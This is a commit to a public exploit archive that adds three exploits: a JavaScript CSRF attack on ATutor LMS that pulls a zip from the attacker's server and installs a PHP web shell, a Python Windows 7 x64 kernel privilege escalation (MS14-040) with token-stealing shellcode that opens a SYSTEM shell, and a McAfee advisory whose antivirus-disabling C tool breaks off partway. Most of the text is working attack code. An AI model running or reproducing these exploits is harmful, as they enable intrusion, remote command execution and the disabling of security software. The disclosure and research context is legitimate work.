DB: 2016-03-08
3 new exploits
This commit is contained in:
parent
d3ff26bf47
commit
4cae1b12fc
9 changed files with 752 additions and 15 deletions
|
@ -35761,3 +35761,6 @@ id,file,description,date,author,platform,type,port
|
|||
39521,platforms/php/webapps/39521.txt,"WordPress Bulk Delete Plugin 5.5.3 - Privilege Escalation",2016-03-03,"Panagiotis Vagenas",php,webapps,80
|
||||
39522,platforms/hardware/remote/39522.txt,"Schneider Electric SBO / AS - Multiple Vulnerabilities",2016-03-03,"Karn Ganeshen",hardware,remote,0
|
||||
39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0
|
||||
39524,platforms/php/webapps/39524.js,"ATutor LMS install_modules.php CSRF Remote Code Execution Vulnerability",2016-03-07,mr_me,php,webapps,0
|
||||
39525,platforms/win64/local/39525.py,"Microsoft Windows - AFD.SYS Privilege Escalation (MS14-040) Win7x64",2016-03-07,"Rick Larabee",win64,local,0
|
||||
39531,platforms/windows/local/39531.c,"McAfee VirusScan Enterprise 8.8 - Security Restrictions Bypass",2016-03-07,"Maurizio Agazzini",windows,local,0
|
||||
|
|
Can't render this file because it is too large.
|
|
@ -95,6 +95,6 @@
|
|||
|
||||
timespec dd 10,0
|
||||
|
||||
filesize equ $ - $$
|
||||
|
||||
; milw0rm.com [2003-12-02]
|
||||
filesize equ $ - $$
|
||||
|
||||
; milw0rm.com [2003-12-02]
|
||||
|
|
|
@ -278,6 +278,6 @@ configure();
|
|||
remap();
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
|
||||
// milw0rm.com [2003-12-05]
|
||||
|
||||
|
||||
// milw0rm.com [2003-12-05]
|
||||
|
|
|
@ -154,6 +154,6 @@ go_daemon();
|
|||
execl(PATH,PATH,arg,NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// milw0rm.com [2004-02-13]
|
||||
|
||||
|
||||
// milw0rm.com [2004-02-13]
|
||||
|
|
|
@ -464,6 +464,6 @@ die(char *argv)
|
|||
fprintf(stdout," Contact me: Li0n7@voila.fr\n\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
// milw0rm.com [2004-01-14]
|
||||
|
||||
|
||||
// milw0rm.com [2004-01-14]
|
||||
|
|
|
@ -70,6 +70,6 @@ print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
|
|||
}
|
||||
if ($success==0) {print "[-] exploit failed =(\n";}
|
||||
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
|
||||
|
||||
|
||||
# milw0rm.com [2003-12-21]
|
||||
|
||||
|
||||
# milw0rm.com [2003-12-21]
|
||||
|
|
138
platforms/php/webapps/39524.js
Executable file
138
platforms/php/webapps/39524.js
Executable file
|
@ -0,0 +1,138 @@
|
|||
/* exp.js
|
||||
|
||||
ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
|
||||
by mr_me
|
||||
|
||||
Notes:
|
||||
``````
|
||||
- Discovered for @ipn_mx students advanced php vuln/dev class
|
||||
- Tested on the latest FireFox 44.0.2 release build
|
||||
- This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
|
||||
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
|
||||
- Use this with your favorite XSS attack
|
||||
- Student proof, aka bullet proof
|
||||
|
||||
Timeline:
|
||||
`````````
|
||||
23/02/2016 - notified vendor via info[at]atutor[dot]ca
|
||||
24/02/2016 - requested CVE and assigned CVE-2016-2539
|
||||
24/02/2016 - vendor replied stating they are investigating the issue
|
||||
05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
|
||||
06/03/2016 - coordinated public release
|
||||
|
||||
Example:
|
||||
````````
|
||||
mr_me@jupiter:~$ cat poc.py
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
import zipfile
|
||||
import BaseHTTPServer
|
||||
from cStringIO import StringIO
|
||||
from SimpleHTTPServer import SimpleHTTPRequestHandler
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "Usage: %s <lport> <target>" % sys.argv[0]
|
||||
print "eg: %s 8000 172.16.69.128" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
|
||||
def _build_zip():
|
||||
"""
|
||||
builds the zip file
|
||||
"""
|
||||
f = StringIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
|
||||
z.close()
|
||||
handle = open('pwn.zip','wb')
|
||||
handle.write(f.getvalue())
|
||||
handle.close
|
||||
|
||||
class CORSRequestHandler (SimpleHTTPRequestHandler):
|
||||
def end_headers (self):
|
||||
self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
|
||||
SimpleHTTPRequestHandler.end_headers(self)
|
||||
|
||||
if __name__ == '__main__':
|
||||
_build_zip()
|
||||
BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)
|
||||
|
||||
mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
|
||||
Serving HTTP on 0.0.0.0 port 8000 ...
|
||||
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
|
||||
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -
|
||||
|
||||
~ de Mexico con amor,
|
||||
|
||||
*/
|
||||
|
||||
var get_hostname = function(href) {
|
||||
var l = document.createElement("a");
|
||||
l.href = href;
|
||||
return l.hostname + ":" + l.port;
|
||||
};
|
||||
|
||||
function trolololol(url, file_data, filename) {
|
||||
var file_size = file_data.length,
|
||||
boundary = "828116593165207937691721278",
|
||||
xhr = new XMLHttpRequest();
|
||||
|
||||
// latest ff doesnt have sendAsBinary(), so we redefine it
|
||||
if(!xhr.sendAsBinary){
|
||||
xhr.sendAsBinary = function(datastr) {
|
||||
function byteValue(x) {
|
||||
return x.charCodeAt(0) & 0xff;
|
||||
}
|
||||
var ords = Array.prototype.map.call(datastr, byteValue);
|
||||
var ui8a = new Uint8Array(ords);
|
||||
this.send(ui8a.buffer);
|
||||
}
|
||||
}
|
||||
|
||||
// the callback after this stage is done...
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
xhr = new XMLHttpRequest();
|
||||
// change this if you change the zip
|
||||
xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
|
||||
xhr.send();
|
||||
}
|
||||
}
|
||||
|
||||
xhr.open("POST", url, true);
|
||||
// simulate a file MIME POST request.
|
||||
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
||||
xhr.setRequestHeader("Content-Length", file_size);
|
||||
var body = "--" + boundary + "\r\n";
|
||||
body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
|
||||
body += "Content-Type: archive/zip\r\n\r\n";
|
||||
body += file_data + "\r\n";
|
||||
body += "--" + boundary + "\r\n";
|
||||
body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
|
||||
body += "junk\r\n";
|
||||
body += "--" + boundary;
|
||||
xhr.sendAsBinary(body);
|
||||
return true;
|
||||
}
|
||||
|
||||
function pwn(){
|
||||
var xhr = new XMLHttpRequest();
|
||||
// et phone home
|
||||
var home = get_hostname(document.scripts[0].src);
|
||||
// get our own zip file
|
||||
xhr.open('GET', 'http://' + home + '/pwn.zip', true);
|
||||
xhr.responseType = 'blob';
|
||||
xhr.onload = function(e) {
|
||||
if (this.status == 200) {
|
||||
// use the FileReader class to get the raw binary
|
||||
var reader = new window.FileReader();
|
||||
reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'}));
|
||||
reader.onloadend = function() {
|
||||
trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.send();
|
||||
}
|
||||
|
||||
pwn();
|
346
platforms/win64/local/39525.py
Executable file
346
platforms/win64/local/39525.py
Executable file
|
@ -0,0 +1,346 @@
|
|||
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
|
||||
# Date: 2016-03-03
|
||||
# Exploit Author: Rick Larabee
|
||||
# Vendor Homepage: www.microsoft.com
|
||||
# Version: Windows 7, 64 bit
|
||||
# Tested on: Win7 x64
|
||||
# afd.sys - 6.1.7601.17514
|
||||
# ntdll.dll - 6.1.7601.17514
|
||||
#
|
||||
# CVE : CVE-2014-1767
|
||||
# Category: Local Privilege Escalation
|
||||
# References:
|
||||
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
|
||||
# http://ricklarabee.blogspot.com/
|
||||
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
|
||||
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
|
||||
# http://www.cvedetails.com/cve/CVE-2014-1767/
|
||||
# https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/
|
||||
#
|
||||
# Greetz: PWN4GEPWN1E, SecurityMook
|
||||
|
||||
|
||||
from ctypes import *
|
||||
import socket, time, os, struct, sys
|
||||
from ctypes.wintypes import HANDLE, DWORD
|
||||
import platform
|
||||
|
||||
kernel32 = windll.kernel32
|
||||
ntdll = windll.ntdll
|
||||
Psapi = windll.Psapi
|
||||
|
||||
MEMRES = (0x1000 | 0x2000)
|
||||
PAGEEXE = 0x40
|
||||
Zerobits = c_int(0)
|
||||
RegionSize = c_ulonglong(0x1000)
|
||||
written = c_ulonglong(0)
|
||||
|
||||
FakeObjSize = 0x100
|
||||
|
||||
GENERIC_READ = 0x80000000
|
||||
GENERIC_WRITE = 0x40000000
|
||||
GENERIC_EXECUTE = 0x20000000
|
||||
GENERIC_ALL = 0x10000000
|
||||
INVALID_HANDLE_VALUE = -1
|
||||
|
||||
WSAGetLastError = windll.Ws2_32.WSAGetLastError
|
||||
WSAGetLastError.argtypes = ()
|
||||
WSAGetLastError.restype = c_int
|
||||
SOCKET = c_int
|
||||
WSASocket = windll.Ws2_32.WSASocketA
|
||||
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
|
||||
WSASocket.restype = SOCKET
|
||||
closesocket = windll.Ws2_32.closesocket
|
||||
closesocket.argtypes = (SOCKET,)
|
||||
closesocket.restype = c_int
|
||||
connect = windll.Ws2_32.connect
|
||||
connect.argtypes = (SOCKET, c_void_p, c_int)
|
||||
connect.restype = c_int
|
||||
HalDispatchTable = c_uint64
|
||||
|
||||
class sockaddr_in(Structure):
|
||||
_fields_ = [
|
||||
("sin_family", c_short),
|
||||
("sin_port", c_ushort),
|
||||
("sin_addr", c_ulong),
|
||||
("sin_zero", c_char * 8),
|
||||
]
|
||||
|
||||
kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)]
|
||||
ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]
|
||||
|
||||
def find_driver_base(driver=None):
|
||||
#https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
|
||||
|
||||
if platform.architecture()[0] == '64bit':
|
||||
lpImageBase = (c_ulonglong * 1024)()
|
||||
lpcbNeeded = c_longlong()
|
||||
Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32]
|
||||
else:
|
||||
#if process_is_wow64():
|
||||
# raise RuntimeError('python running in WOW64 is not supported')
|
||||
lpImageBase = (c_ulong * 1024)()
|
||||
lpcbNeeded = c_long()
|
||||
driver_name_size = c_long()
|
||||
driver_name_size.value = 48
|
||||
Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded))
|
||||
for base_addr in lpImageBase:
|
||||
driver_name = c_char_p('\x00' * driver_name_size.value)
|
||||
if base_addr:
|
||||
Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value)
|
||||
if driver == None and driver_name.value.lower().find("krnl") != -1:
|
||||
return (base_addr, driver_name.value)
|
||||
elif driver_name.value.lower() == driver:
|
||||
return (base_addr, driver_name.value)
|
||||
return None
|
||||
|
||||
def get_haldispatchtable():
|
||||
#https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
|
||||
|
||||
if platform.architecture()[0] == '64bit':
|
||||
kernel32.LoadLibraryExA.restype = c_uint64
|
||||
kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)]
|
||||
kernel32.GetProcAddress.restype = c_uint64
|
||||
(krnlbase, kernelver) = find_driver_base()
|
||||
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
|
||||
halDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable')
|
||||
halDispatchTable -= hKernel
|
||||
halDispatchTable += krnlbase
|
||||
return halDispatchTable
|
||||
|
||||
|
||||
def CreateBuffer1(inbuf1addr):
|
||||
print "[+] Creating Buffer for IOCTL 0x1207F (afdTransmitFile) at: ", hex(inbuf1addr)
|
||||
inbuf1size = 0x40
|
||||
targetsize = 0x100
|
||||
virtualAddress = 0x13371337
|
||||
mdlsize = (pow(2, 0x0c) * (targetsize -0x30) / 8) - 0xfff - (virtualAddress & 0xfff)
|
||||
|
||||
|
||||
inbuf1 = "\x41" * 0x20
|
||||
inbuf1 += struct.pack("Q", virtualAddress) #0x1a
|
||||
inbuf1 += struct.pack("Q", mdlsize)
|
||||
inbuf1 += "\x42" * 4
|
||||
inbuf1 += "\x43" * 4
|
||||
inbuf1 += "\x01\x00\x00\x00"
|
||||
inbuf1 += "\x00\x00\x00\x00"
|
||||
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
|
||||
|
||||
baseadd = c_ulonglong(0x1001)
|
||||
|
||||
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
||||
byref(baseadd),
|
||||
0x0,
|
||||
byref(RegionSize),
|
||||
MEMRES,
|
||||
PAGEEXE)
|
||||
|
||||
wpmStatus = kernel32.WriteProcessMemory(-1, inbuf1addr, inbuf1, inbuf1size, byref(written))
|
||||
|
||||
def CreateBuffer2(inbuf2addr):
|
||||
print "[+] Creating Buffer for IOCTL 0x120C3 (afdTransmitPacket) at: ", hex(inbuf2addr)
|
||||
inbuf2size = 0x18
|
||||
addrforbuf2 = 0x0AAAAAAA
|
||||
|
||||
inbuf2 = struct.pack("Q", 0x1)
|
||||
inbuf2 += struct.pack("Q", addrforbuf2)
|
||||
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
|
||||
|
||||
baseadd = c_ulonglong(inbuf2addr+1)
|
||||
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
||||
byref(baseadd),
|
||||
0x0,
|
||||
byref(RegionSize),
|
||||
MEMRES,
|
||||
PAGEEXE)
|
||||
kernel32.WriteProcessMemory(-1, inbuf2addr, inbuf2, inbuf2size, byref(written))
|
||||
|
||||
def CreateFakeObject(firstWrite,fakeobjectaddr, setinfoworkerfactory):
|
||||
print "[+] Print creating fakeobject at ", hex(fakeobjectaddr)
|
||||
|
||||
fakeobject2addr = setinfoworkerfactory - 0x18
|
||||
|
||||
fakeobject2 = "\x00"*0x18 + struct.pack("Q", firstWrite)
|
||||
fakeobj2size = len(fakeobject2)
|
||||
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
|
||||
|
||||
objhead = ("\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
fakeobject = objhead
|
||||
fakeobject += struct.pack("Q", fakeobject2addr) + "\x41"*96
|
||||
fakeobject += "\x42" * (FakeObjSize - len(fakeobject))
|
||||
kernel32.WriteProcessMemory(-1, fakeobjectaddr, fakeobject, FakeObjSize, byref(written))
|
||||
|
||||
def main():
|
||||
print "[+] creating socket..."
|
||||
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
|
||||
|
||||
if sock == -1:
|
||||
print "[-] no luck creating socket!"
|
||||
sys.exit(1)
|
||||
|
||||
print "[+] got sock 0x%x" % sock
|
||||
|
||||
addr = sockaddr_in()
|
||||
addr.sin_family = socket.AF_INET
|
||||
addr.sin_port = socket.htons(135)
|
||||
addr.sin_addr = socket.htonl(0x7f000001)
|
||||
|
||||
connect(sock, byref(addr), sizeof(addr))
|
||||
|
||||
print "[+] sock connected."
|
||||
print "[+] fill kernel heap"
|
||||
|
||||
rgnarr = []
|
||||
nBottomRect = 0x02aaaaaa
|
||||
while(1):
|
||||
hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1)
|
||||
|
||||
if hrgn == 0:
|
||||
break
|
||||
rgnarr.append(hrgn)
|
||||
print ".",
|
||||
|
||||
|
||||
print "\n[+] GO!"
|
||||
HalDispatchTable = get_haldispatchtable()
|
||||
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
|
||||
# Win7 - x64
|
||||
(halbase, dllname) = find_driver_base("hal.dll")
|
||||
OS = "7"
|
||||
if OS == "7":
|
||||
HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64
|
||||
_KPROCESS = "\x70"
|
||||
_TOKEN = "\x08\x02"
|
||||
_UPID = "\x80\x01"
|
||||
_APLINKS = "\x88\x01"
|
||||
|
||||
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
|
||||
|
||||
IoStatus = c_ulonglong()
|
||||
IoStatusBlock = c_ulonglong()
|
||||
|
||||
addrSetInfoWorkerFactory = 0x2218
|
||||
firstWriteAddr = HalDispatchTable + 0x8 - 0x2C
|
||||
secondWriteAddr = firstWriteAddr + 0x4
|
||||
thirdWriteAddr = firstWriteAddr + 0x1
|
||||
|
||||
shellcode_address = c_ulonglong
|
||||
shellcode_address = 0x0000000000002500
|
||||
what_address = 0x0000250800002500
|
||||
what_part1 = what_address & 0xfffffff
|
||||
what_part2 = what_address >> 32 & 0xfffffff
|
||||
|
||||
inbuf1 = 0x1000
|
||||
inbuf2 = 0x2000
|
||||
hWF = c_ulonglong(0)
|
||||
FakeWorkerFactoryADDR = 0x2100
|
||||
|
||||
CreateBuffer1(inbuf1)
|
||||
CreateBuffer2(inbuf2)
|
||||
CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory)
|
||||
print ""
|
||||
print ""
|
||||
print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory "
|
||||
print "[*] structures for phase 2 and fil the freed space with a "
|
||||
print "[*] WorkerFactory Object"
|
||||
raw_input("[+] Press Enter to trigger phase 1")
|
||||
ntdll.ZwDeviceIoControlFile.argtypes = [c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong),
|
||||
c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
|
||||
status = ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x1207f, inbuf1, 0x40, 0x0, 0x0)
|
||||
|
||||
|
||||
kernel32.CreateIoCompletionPort.argtypes = [c_ulonglong,c_ulonglong,c_ulonglong,c_ulonglong]
|
||||
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0, 0, 0))
|
||||
|
||||
ntdll.ZwCreateWorkerFactory.argtypes = [POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
|
||||
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,0,CompletionPort,INVALID_HANDLE_VALUE,0,0,0,0,0)
|
||||
hWFaddr = hWF
|
||||
|
||||
|
||||
padding = "\x90"*8
|
||||
HalDispatchTable0x8 = HalDispatchTable + 0x8
|
||||
|
||||
sc_pointer = struct.pack("Q", shellcode_address+0x10)
|
||||
sc_pointer += struct.pack("Q", 0x25)
|
||||
|
||||
restore_ptrs = "\x41\x51" +\
|
||||
"\x41\x52" +\
|
||||
"\x41\x53" +\
|
||||
"\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation) +\
|
||||
"\x49\xba" + struct.pack("Q", HalDispatchTable0x8) +\
|
||||
"\x4d\x89\x0a"
|
||||
|
||||
tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00" +\
|
||||
"\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +\
|
||||
"\x4D\x89\xCA" +\
|
||||
"\x4D\x8B\x89" + _APLINKS + "\x00\x00" +\
|
||||
"\x49\x81\xE9" + _APLINKS + "\x00\x00" +\
|
||||
"\x49\x83\xB9" + _UPID + "\x00\x00\x04" +\
|
||||
"\x75\xe8" +\
|
||||
"\x4D\x8B\x89" + _TOKEN + "\x00\x00" +\
|
||||
"\x4D\x89\x8A" + _TOKEN + "\x00\x00"
|
||||
|
||||
fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00" +\
|
||||
"\x4d\x89\xd1" +\
|
||||
"\x4d\x8b\x12" +\
|
||||
"\x41\xbb" + struct.pack("L", hWF.value)+\
|
||||
"\x41\x83\xe3\xfc" +\
|
||||
"\x4d\x01\xdb" +\
|
||||
"\x4d\x01\xdb" +\
|
||||
"\x4d\x01\xda" +\
|
||||
"\x49\xc7\x02\x00\x00\x00\x00" +\
|
||||
"\x49\x83\xc1\x58" +\
|
||||
"\x4d\x89\xca" +\
|
||||
"\x4d\x8b\x09" +\
|
||||
"\x49\x83\xe9\x01" +\
|
||||
"\x4d\x89\x0a" +\
|
||||
"\x41\x5b" +\
|
||||
"\x41\x5A" +\
|
||||
"\x41\x59" +\
|
||||
"\xc3"
|
||||
|
||||
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
|
||||
shellcode_size = len(shellcode)
|
||||
|
||||
print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address)
|
||||
|
||||
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
|
||||
|
||||
print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the"
|
||||
print "[*] WorkerFactory object created above and fill the freed object"
|
||||
print "[*] with a user controlled object to perform the necessary overwrites"
|
||||
raw_input("[+] Press Enter to trigger phase 2")
|
||||
|
||||
### Trigger 2
|
||||
## afd!AfdTransmitPackets
|
||||
ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x120c3, inbuf2, 0x18, 0x0, 0x0)
|
||||
|
||||
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
|
||||
ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4)
|
||||
kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written))
|
||||
ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4)
|
||||
kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written))
|
||||
ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) ;
|
||||
|
||||
inp = c_long()
|
||||
out = c_long()
|
||||
inp = 0x1337
|
||||
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
|
||||
print "[*] Spawning a SYSTEM shell..."
|
||||
os.system("cmd.exe /K cd c:\\windows\\system32")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if platform.architecture()[0] == '64bit':
|
||||
main()
|
||||
else:
|
||||
print "Please use a 64 bit version of python"
|
||||
sys.exit()
|
||||
|
||||
|
||||
|
250
platforms/windows/local/39531.c
Executable file
250
platforms/windows/local/39531.c
Executable file
|
@ -0,0 +1,250 @@
|
|||
/*
|
||||
Security Advisory @ Mediaservice.net Srl
|
||||
(#01, 13/04/2016) Data Security Division
|
||||
|
||||
Title: McAfee VirusScan Enterprise security restrictions bypass
|
||||
Application: McAfee VirusScan Enterprise 8.8 and prior versions
|
||||
Platform: Microsoft Windows
|
||||
Description: A local Windows administrator is able to bypass the
|
||||
security restrictions and disable the antivirus engine
|
||||
without knowing the correct management password
|
||||
Author: Maurizio Agazzini <inode@mediaservice.net>
|
||||
Vendor Status: Fixed
|
||||
References: http://lab.mediaservice.net/advisory/2016-01-mcafee.txt
|
||||
http://lab.mediaservice.net/code/mcafee_unprotector.c
|
||||
|
||||
1. Abstract.
|
||||
|
||||
McAfee VirusScan Enterprise has a feature to protect the scan engine
|
||||
from local Windows administrators. A management password is needed to
|
||||
disable it, unless Windows is running in "Safe Mode".
|
||||
|
||||
>From our understanding this feature is implemented insecurely: the
|
||||
McAfee VirusScan Console checks the password and requests the engine to
|
||||
unlock the safe registry keys. No checks are done by the engine itself,
|
||||
so anyone can directly request the engine to stop without knowing the
|
||||
correct management password.
|
||||
|
||||
2. Example Attack Session.
|
||||
|
||||
The attack can be reproduced in different ways, here are some examples.
|
||||
|
||||
Example 1:
|
||||
|
||||
Open the McAfee VirusScan Console and Sysinternals Process Explorer.
|
||||
|
||||
Under Process Explorer:
|
||||
|
||||
- Locate the mcconsol.exe process
|
||||
- Type CTRL+L (show lower pane)
|
||||
- Search for all "HKLM\SOFTWARE\McAfee\DesktopProtection" keys
|
||||
- Close all the handles of this registry key
|
||||
|
||||
Go back to the McAfee Console and:
|
||||
|
||||
- Go to: Tools -> General Options
|
||||
- Select the "Password Options" tab
|
||||
- Select "No password" and apply settings
|
||||
|
||||
Now it is possible to stop the antivirus engine.
|
||||
|
||||
Example 2:
|
||||
|
||||
A specific tool has been written to request to disable password
|
||||
protection. After running the tool you can disable it via the VirusScan
|
||||
Console.
|
||||
|
||||
Code: http://lab.mediaservice.net/code/mcafee_unprotector.c
|
||||
|
||||
3. Affected Platforms.
|
||||
|
||||
All McAfee Viruscan Enterprise versions prior to 8.8 without SB10151 are
|
||||
affected. Exploitation of this vulnerability requires that an attacker
|
||||
has local Windows administrator privileges.
|
||||
|
||||
4. Fix.
|
||||
|
||||
On 25 February 2016, version SB10151 hotfix has been relased by McAfee,
|
||||
which fixes the described vulnerability.
|
||||
|
||||
https://kc.mcafee.com/corporate/index?page=content&id=SB10151
|
||||
|
||||
5. Proof Of Concept.
|
||||
|
||||
See Example Attack Session above.
|
||||
|
||||
6. Timeline
|
||||
|
||||
07/11/2014 - First communication sent to McAfee
|
||||
17/11/2014 - Second communication sent to McAfee
|
||||
17/11/2014 - McAfee: Request to send again vulnerability information
|
||||
18/11/2014 - Sent vulnerability information and PoC again
|
||||
11/12/2014 - McAfee: Problem confirmed
|
||||
09/03/2015 - Request for update to McAfee
|
||||
06/05/2015 - Request for update to McAfee
|
||||
06/05/2015 - McAfee: Patch release planned for Q3
|
||||
20/08/2015 - McAfee: Request for deadline delay (31/03/2016)
|
||||
25/02/2016 - McAfee: SB10151 patch has been relased
|
||||
|
||||
Copyright (c) 2014-2016 @ Mediaservice.net Srl. All rights reserved.
|
||||
|
||||
--
|
||||
Maurizio Agazzini CISSP, CSSLP, OPST
|
||||
Senior Security Advisor
|
||||
@ Mediaservice.net Srl Tel: +39-011-32.72.100
|
||||
Via Santorelli, 15 Fax: +39-011-32.46.497
|
||||
10095 Grugliasco (TO) ITALY http://mediaservice.net/disclaimer
|
||||
|
||||
"C programmers never die. They are just cast into void"
|
||||
*/
|
||||
|
||||
/*****************************************************************************
|
||||
* *
|
||||
* McAfee Data Protector "Unprotector" *
|
||||
* *
|
||||
* A little tool to request McAfee scan engine to disable password *
|
||||
* protection. *
|
||||
* *
|
||||
* Advisory: http://lab.mediaservice.net/advisory/2014-01-mcafee.txt *
|
||||
* *
|
||||
* This program can be compiled with MinGW (http://www.mingw.org/) *
|
||||
* *
|
||||
* Copyright (c) 2014 @ Mediaservice.net Srl. All rights reserved *
|
||||
* Wrote by Maurizio Agazzini <inode[at]mediaservice.net> *
|
||||
* *
|
||||
* This program is free software; you can redistribute it and/or *
|
||||
* modify it under the terms of the GNU General Public License *
|
||||
* as published by the Free Software Foundation; either version 2 *
|
||||
* of the License, or (at your option) any later version. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, *
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
|
||||
* GNU General Public License for more details. *
|
||||
* *
|
||||
* You should have received a copy of the GNU General Public License *
|
||||
* along with this program; if not, write to the Free Software *
|
||||
* Foundation, Inc., 59 Temple Place *
|
||||
* Suite 330, Boston, MA 02111-1307, USA. *
|
||||
* *
|
||||
*****************************************************************************/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
HANDLE opendevice()
|
||||
{
|
||||
HANDLE result;
|
||||
|
||||
if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||
